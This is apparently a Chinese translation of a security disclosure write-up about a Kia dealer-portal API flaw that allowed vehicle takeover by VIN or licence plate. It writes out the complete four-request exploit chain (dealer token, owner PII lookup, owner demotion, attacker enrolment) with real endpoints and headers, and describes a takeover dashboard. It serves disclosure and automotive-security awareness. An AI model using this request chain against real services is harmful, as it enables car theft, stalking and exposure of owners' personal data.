引言
2024年6月11日,有安全研究人员发现起亚汽车网站存在一个关键漏洞,黑客只需使用目标车辆的VIN,就能定位并窃取数百万辆 2013 年后生产的起亚汽车。
此外,攻击者可以悄无声息地获取个人信息,包括车主的姓名、电话号码、电子邮件地址和地址等敏感信息。
Vulnerability Writeup
大约两年前,安全研究员发现了影响十多家汽车公司的其他关键漏洞,这些漏洞可以让犯罪分子远程定位、禁用启动器、解锁和启动法拉利、宝马、劳斯莱斯、保时捷和其他汽车制造商生产的 1500 多万辆汽车。
由于已经过去了很长时间,决定重新审视一些较大的公司,看看能不能发现一些新问题。我们首先关注的是起亚。
当我们开始关注起亚时,我们最初专注于车主网站owners.kia.com
和Kia Connect iOScom.myuvo.link
。这两个目标都很有趣,因为它们可以执行远程控制命令。
虽然车主网站和APP用于相同的目的,但它们处理车辆命令的方式不同。车主网站使用后端反向代理将用户命令转发到实际负责执行车辆命令的后端服务api.owners.kia.com
,而移动应用则直接访问此API。
以下HTTP请求显示了owners.kia.com
网站如何将API请求代理到api.owners.kia.com
主机以解锁车门。
HTTP Request to Unlock Car Door on the "owners.kia.com" website
POST /apps/services/owners/apigwServlet.html HTTP/2
Host: owners.kia.com
Httpmethod: GET
Apiurl: /door/unlock
Servicetype: postLoginCustomer
Cookie: JSESSIONID=SESSION_TOKEN;
owners.kia.com
在发送上述的HTTP请求后,起亚后端将生成一个Sid
会话ID头,由后端API使用我们的JSESSIONID
作为auth使用,然后最终将转发的HTTP请求以以下格式发送到api.owners.kia.com
网站。
HTTP Request Formed and Proxied by Server
GET /apigw/v1/rems/door/unlock HTTP/1.1
Host: api.owners.kia.com
Sid: 454817d4-b228-4103-a26f-884e362e8dee
Vinkey: 3ecc1a19-aefd-4188-a7fe-1723e1663d6e
上述HTTP请求中重要的标头是Sid
(会话令牌)和Vinkey
(索引到VIN的UUID)。还包括了其他一些必要的标头以访问API,这两者与车辆访问控制相关。
由于我们已经非常熟悉用户方面的事情,我们决定看看起亚经销商网站。
Targeting Kia Dealer Infrastructure
起亚实际上是如何为新车激活的?在与一些人交谈后,我们了解到起亚会在经销商处要车主的电子邮件地址,然后车主会收到一个注册链接,用于注册新的起亚账户或将新购买的车辆添加到车主现有的起亚账户。
注册链接:
https://kiaconnect.kdealer.com/content/kDealer/en/kiauser.html?token=dealer_generated_access_token&vin=example_vin&scenarioType=3
发现从未见过的kiaconnect.kdealer.com
域名。打开了URL,看到了以下端点:
在上面的URL中,token
参数是由起亚经销商生成的一次性授权令牌,用于修改vin
参数中指定的车辆。访问上述URL后,将发送以下HTTP请求以验证令牌是否已过期或已被使用。
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
{
"token": "985a49f0-1fe5-4d36-860e-d9b93272072b",
"vin": "5XYP3DHC9NG310533",
"scenarioType": 3,
"loginPref": null
}
用于验证token的HTTP请求被发送到与之前的/apps/services/kdealer/apigwServlet.html
请求相同的owners.kia.com
URI,但这一次,它是在起亚Connect经销商网站上发送的。这可能意味着经销商具有类似内部API的转发代理。
在JavaScript中寻找APIGW调用,发现了似乎是仅限员工的功能。有提及到经销商车辆查找、账户查找、注册、注销以及许多其他与经销商相关的API调用。
dealerVehicleLookUp() {this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({ vin: this.vinToEnroll }, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => { i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click())) })}
为了测试我们是否可以访问这些端点,我们使用我们自己的经销商令牌(Appid
标头)和我们拥有的车辆的VIN,伪造发送到经销商APIGW端点的HTTP请求。
Attempted HTTP Request to Search VIN using Kia Dealer APIGW Endpoint
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl
{
"vin": "1HGBH41JXMN109186"
}
HTTP Response
HTTP/1.1 401 Unauthorized
Content-type: application/json
{
"status": {
"statusCode": 1,
"errorType": 1,
"errorCode": 1003,
"errorMessage": "Session Key is either invalid or expired"
}
}
不行。看起来经销商网站不想使用我们通过电子邮件购买新车时获得的访问令牌。
我们回想起原来的owners.kia.com
网站,然后想知道:如果有一种方法可以简单地注册为经销商,生成访问令牌,然后在这里使用该访问令牌呢?kiaconnect.kdealer.com
网站似乎具有相同的API格式,所以我们可以复制格式,注册一个帐户并登录?
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/registerUser
{
"userCredential": {
"firstName": "Sam",
"lastName": "Curry",
"userId": "normal.user@gmail.com",
"password": "FakePass123!",
"acceptedTerms": 1
}
}
返回了200 OK!看来可以在起亚经销商网站上使用与在起亚车主网站上注册相同的HTTP请求来注册。我们迅速尝试登录并生成访问令牌:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser
{
"userCredential": {
"userId": "normal.user@gmail.com",
"password": "FakePass123!"
}
}
登录有效,服务器返回带有会话cookie的HTTP响应。
HTTP/1.1 200 OK
Sid: 123e4567-e89b-12d3-a456-426614174000
我们把生成的访问令牌发送到之前未授权的经销商APIGW端点以搜索VIN。
HTTP Request to Search VIN using Kia Dealer APIGW Endpoint (with “dda” access token)
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Appid: 123e4567-e89b-12d3-a456-426614174000
Apiurl: /dec/dlr/dvl
{
"vin": "1HGBH41JXMN109186"
}
HTTP Response
HTTP/1.1 200 OK
Content-type: application/json
{
"payload": {
"billingSubscriptionSupported": 1,
"digitalKeySupported": 0,
"generation": "3",
"profiles": [
{
"address": {},
"billSubscriptionStatus": 1,
"digitalKeyStatus": 0,
"email": "victim@gmail.com",
"enrollmentReqStatus": 1,
"enrollmentStatus": 1,
"firstName": "yeet",
"lastName": "yeet",
"loginId": "victim@gmail.com",
"phone": "4027181388",
"phoneType": 3,
"wifiHotspotStatus": 0
}
],
"vinAddedToAccount": 1,
"wifiHotspotSupported": 1
}
}
在注册并验证了经销商帐户后,我们能够生成一个有效的访问令牌,该令牌可以用来调用后端经销商API!HTTP响应包含了车主的姓名、电话号码和电子邮件地址。我们能够使用我们的普通应用程序凭据和修改后的通道标头通过身份验证进入经销商门户。这意味着我们可能可以击中所有其他经销商端点。
Taking Over Vehicles
在JavaScript中筛选了几个小时后,我们终于了解了注册、注销和车辆修改端点的工作原理。以下四个HTTP请求可以发送以获得对受害者车辆的访问权限。
(1) Generate the Dealer Token and retrieve the “token” header from the HTTP Response
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser
{
"userCredential": {
"userId": "normal.kia.user@gmail.com",
"password": "Fakepass123!"
}
}
使用创建的经销商帐户,我们将通过
/prof/authUser
端点进行身份验证以获得会话令牌。
(2) Fetch Victim’s Email Address and Phone Number
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "VIN"
}
使用添加的会话令牌标头,能够访问
kiaconnect.kdealer.com
网站上的所有经销商端点,并可以检索受害者的姓名、电话号码和电子邮件。
(3) Modify Owner’s Previous Access using Leaked Email Address and VIN number
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/rvp
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "VIN",
"loginId": "victim_email_leaked@gmail.com",
"dealerCode": "eDelivery"
}
发送此请求以降低车主账号的权限,以便可以将自己添加为车辆主要帐户持有者。必须在这里发送受害者的电子邮件,这是我们在第二步中获得的。
(4) Add Attacker to Victim Vehicle
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /ownr/dicve
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "5XYRK4LFXMG016215",
"loginId": "attacker@gmail.com"
}
最后,将攻击者控制的电子邮件指定为车辆的主要所有者。这将允许向车辆发送任意命令。
上述四个HTTP请求可以用来使用车牌号向2013年后生产的几乎所有起亚汽车发送命令(
从受害者的角度来看,没有通知他们已经访问了他们的车辆,也没有修改他们的访问权限。攻击者可以通过API解析某人的车牌号,然后跟踪他们并发送解锁、启动、鸣喇叭等主动命令。
Creating License Plate Takeover Proof of Concept
我们的概念验证UI的目标是简单地拥有一个仪表板,攻击者可以
(1)输入起亚汽车的车牌号,
(2)检索车主的PII,
(3)对车辆执行命令。
由于我们正在将受害者的车辆添加到我们攻击者控制的帐户中,我们决定构建一个概念验证,使其具有“利用”和“车库”页面。利用页面将用于实际接管车辆,然后车库页面将用于发布命令和定位车辆。
工作原理如下:
车牌号到VIN表单使用第三方API将车牌号转换为VIN
接管按钮将使用检索到的VIN执行4步过程,
(1)通过登录表单生成经销商令牌,
(2)从受害者帐户中检索电子邮件/电话号码,
(3)将帐户所有者降级为帐户持有者,
(4)将我们自己添加为主要帐户持有者。
获取所有者按钮将被动地告诉我们受害者的姓名、电子邮件和电话号码
车库标签将允许我们列出并对被入侵的车辆执行命令
构建了这个工具后,我们记录了一个验证射频,视频显示了使用手机入侵车辆,然后能够远程锁定/解锁、启动/停止、鸣喇叭和定位车辆。
结论
通过Kia汽车的案例,展示了一个VIN如何能够被用来远程控制汽车的关键功能,从经销商网络到控车功能。这种攻击的成功不仅凸显了单一安全漏洞可能带来的广泛影响,也强调了车企需要采取全面措施来保护其数字资产的重要性。尽管车辆本身考虑安全需求,但车企的多个在线平台,包括经销商网站、控车APP和供应商系统,都可能成为黑客攻击的潜在入口点。这些平台负责车辆的不同功能,如远程控制、数据分析和客户服务,因此它们必须得到充分的保护,以确保整个车联网生态系统的安全。
车联网安全是一个系统性工程,需要车企从全局的角度出发,全面加强安全防护,才能有效防范潜在的网络威胁,保护车辆和用户免受侵害。